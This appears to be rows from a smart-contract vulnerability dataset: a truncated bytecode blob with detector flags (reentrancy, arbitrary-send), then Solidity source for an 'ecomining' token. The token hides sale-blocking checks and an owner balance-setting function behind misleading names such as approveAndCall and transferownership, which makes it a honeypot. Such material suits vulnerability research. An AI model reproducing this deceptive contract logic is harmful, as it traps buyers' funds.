9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550601e600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203ebe293c0636f0dfc298fb1059171364423fad9ff212db5fef3c2942de28757e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,844
0x137970b5fb9ddb0908d81b912ef807e0f2b19496
/** *Submitted for verification at Etherscan.io on 2021-02-27 */ ///ECOMINING TOKEN ICO STRUCTURE below //MORE INFO AT ecomining.finance pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ecomining { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016